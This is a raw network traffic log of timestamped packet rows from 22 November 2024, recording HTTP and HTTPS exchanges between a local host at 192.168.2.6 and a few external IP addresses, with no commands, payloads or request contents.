Nov 22, 2024 14:43:56.259540081 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.260540009 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.260602951 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.260796070 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.260843992 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.261853933 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.261905909 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.262048006 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.262092113 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.262824059 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.262870073 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.263204098 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.263324022 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.263991117 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.264161110 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.286907911 CET	443	49883	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:56.286923885 CET	443	49883	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:56.286948919 CET	443	49883	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:56.286979914 CET	443	49883	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:56.287003994 CET	49883	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:56.287036896 CET	443	49883	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:56.287055016 CET	49883	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:56.287076950 CET	49883	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:56.337312937 CET	443	49883	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:56.337337971 CET	443	49883	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:56.337394953 CET	49883	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:56.337410927 CET	443	49883	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:56.337433100 CET	49883	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:56.337457895 CET	49883	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:56.405682087 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.405755997 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.406133890 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.406198025 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.406260967 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.406306982 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.406405926 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.406445980 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.406557083 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.406595945 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.407593966 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.407675028 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.408337116 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.408390999 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.408757925 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.408852100 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.409874916 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.409887075 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.409898996 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.409930944 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.409962893 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.410914898 CET	49899	443	192.168.2.6	23.200.88.22
Nov 22, 2024 14:43:56.410960913 CET	443	49899	23.200.88.22	192.168.2.6
Nov 22, 2024 14:43:56.411004066 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.411026001 CET	49899	443	192.168.2.6	23.200.88.22
Nov 22, 2024 14:43:56.411026001 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.411052942 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.411067009 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.411251068 CET	49899	443	192.168.2.6	23.200.88.22
Nov 22, 2024 14:43:56.411267042 CET	443	49899	23.200.88.22	192.168.2.6
Nov 22, 2024 14:43:56.412218094 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.412230015 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.412261009 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.412278891 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.413299084 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.413310051 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.413353920 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.414397001 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.414452076 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.414608002 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.414697886 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.415524960 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.415565968 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.416235924 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.416285992 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.416681051 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.416692972 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.416732073 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.417821884 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.417870045 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.417910099 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.417956114 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.418908119 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.418956041 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.419173956 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.419234991 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.420064926 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.420110941 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.420428991 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.420475006 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.421205997 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.421252966 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.421462059 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.421606064 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.422319889 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.422370911 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.422863007 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.422909021 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.423444986 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.423496008 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.423578978 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.423641920 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.424666882 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.424683094 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.424734116 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.425741911 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.425789118 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.425815105 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.425857067 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.468015909 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.468966961 CET	443	49884	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:56.468996048 CET	443	49884	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:56.469005108 CET	443	49884	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:56.469022989 CET	443	49884	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:56.469036102 CET	443	49884	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:56.469047070 CET	443	49884	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:56.469049931 CET	49884	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:56.469079018 CET	443	49884	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:56.469095945 CET	49884	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:56.469120026 CET	49884	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:56.475970984 CET	443	49883	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:56.476000071 CET	443	49883	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:56.476047993 CET	49883	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:56.476073027 CET	443	49883	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:56.476089954 CET	49883	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:56.476119041 CET	49883	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:56.504267931 CET	443	49883	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:56.504302025 CET	443	49883	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:56.504355907 CET	49883	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:56.504371881 CET	443	49883	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:56.504412889 CET	49883	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:56.504432917 CET	49883	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:56.524504900 CET	443	49883	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:56.524542093 CET	443	49883	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:56.524590015 CET	49883	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:56.524607897 CET	443	49883	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:56.524635077 CET	49883	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:56.524652004 CET	49883	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:56.547235966 CET	443	49883	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:56.547261953 CET	443	49883	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:56.547322989 CET	49883	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:56.547348976 CET	443	49883	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:56.547368050 CET	49883	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:56.547396898 CET	49883	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:56.587532043 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.654524088 CET	443	49884	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:56.654540062 CET	443	49884	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:56.654575109 CET	443	49884	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:56.654591084 CET	443	49884	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:56.654612064 CET	443	49884	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:56.654612064 CET	49884	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:56.654618025 CET	443	49884	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:56.654676914 CET	49884	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:56.682909012 CET	443	49883	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:56.682946920 CET	443	49883	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:56.683002949 CET	49883	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:56.683034897 CET	443	49883	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:56.683053017 CET	49883	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:56.683083057 CET	49883	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:56.698110104 CET	443	49884	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:56.698123932 CET	443	49884	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:56.698147058 CET	443	49884	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:56.698174000 CET	443	49884	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:56.698193073 CET	49884	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:56.698220015 CET	443	49884	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:56.698247910 CET	49884	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:56.698266983 CET	49884	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:56.699331045 CET	443	49883	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:56.699356079 CET	443	49883	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:56.699403048 CET	49883	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:56.699412107 CET	443	49883	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:56.699441910 CET	49883	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:56.699464083 CET	49883	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:56.711417913 CET	443	49883	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:56.711445093 CET	443	49883	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:56.711507082 CET	49883	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:56.711514950 CET	443	49883	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:56.711571932 CET	49883	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:56.722737074 CET	443	49883	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:56.722762108 CET	443	49883	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:56.722827911 CET	49883	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:56.722836018 CET	443	49883	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:56.722873926 CET	49883	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:56.722893000 CET	49883	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:56.732419014 CET	443	49883	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:56.732444048 CET	443	49883	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:56.732502937 CET	49883	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:56.732532024 CET	443	49883	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:56.732558966 CET	49883	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:56.732577085 CET	49883	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:56.743263006 CET	443	49883	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:56.743287086 CET	443	49883	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:56.743334055 CET	49883	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:56.743344069 CET	443	49883	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:56.743381977 CET	49883	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:56.743402958 CET	49883	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:56.754244089 CET	443	49883	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:56.754266024 CET	443	49883	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:56.754323006 CET	49883	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:56.754336119 CET	443	49883	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:56.754384995 CET	49883	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:56.836951971 CET	443	49884	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:56.836985111 CET	443	49884	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:56.837049961 CET	49884	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:56.837078094 CET	443	49884	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:56.837111950 CET	49884	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:56.837131023 CET	49884	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:56.847815037 CET	443	49884	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:56.847893953 CET	49884	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:56.847909927 CET	443	49884	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:56.847934008 CET	443	49884	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:56.847995996 CET	49884	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:56.848233938 CET	49884	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:56.848267078 CET	443	49884	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:56.893444061 CET	443	49883	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:56.893471003 CET	443	49883	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:56.893557072 CET	49883	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:56.893583059 CET	443	49883	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:56.893629074 CET	49883	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:56.902448893 CET	443	49883	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:56.902472019 CET	443	49883	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:56.902520895 CET	49883	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:56.902546883 CET	443	49883	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:56.902578115 CET	49883	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:56.902599096 CET	49883	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:56.911856890 CET	443	49883	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:56.911886930 CET	443	49883	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:56.911930084 CET	49883	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:56.911936045 CET	443	49883	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:56.911988020 CET	49883	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:56.920126915 CET	443	49883	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:56.920156956 CET	443	49883	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:56.921823025 CET	49883	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:56.921828985 CET	443	49883	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:56.921891928 CET	49883	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:56.924113035 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.924195051 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.924211979 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.924252033 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.924736023 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.924814939 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.924858093 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.924875021 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.924925089 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.924940109 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.925515890 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.925530910 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.925595045 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.925595045 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.926578999 CET	443	49883	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:56.926639080 CET	443	49883	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:56.926654100 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.926670074 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.926671028 CET	49883	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:56.926678896 CET	443	49883	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:56.926707029 CET	443	49883	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:56.926729918 CET	49883	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:56.926737070 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.926755905 CET	49883	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:56.927761078 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.927795887 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.927826881 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.927826881 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.927928925 CET	49883	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:56.927942991 CET	443	49883	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:56.928913116 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.928925991 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.928994894 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.930083990 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.930097103 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.930128098 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.930154085 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.931173086 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.931231022 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.931298971 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.931375027 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.932311058 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.932356119 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.932356119 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.932394981 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.933481932 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.933532953 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.933681011 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.933720112 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.934573889 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.934587955 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.934638023 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.934652090 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.935659885 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.935704947 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.935833931 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.935878038 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.936877966 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.936892986 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.936933994 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.937968016 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.938035965 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.938154936 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.938195944 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.939133883 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.939228058 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.939229012 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.939559937 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.940294981 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.940310001 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.940349102 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.941425085 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.941440105 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.941531897 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.942518950 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.942564964 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.942575932 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.942612886 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.943763971 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.943804979 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.943895102 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.944122076 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.944839001 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.944853067 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.944890976 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.945960999 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.946019888 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.946048021 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.946131945 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.947092056 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.947148085 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.947300911 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.947397947 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.948240042 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.948292971 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.948329926 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.948369980 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.949372053 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.949387074 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.949424028 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.949445963 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.950588942 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.950603008 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.950649977 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:56.951565027 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:56.951611042 CET	49819	80	192.168.2.6	185.215.113.206
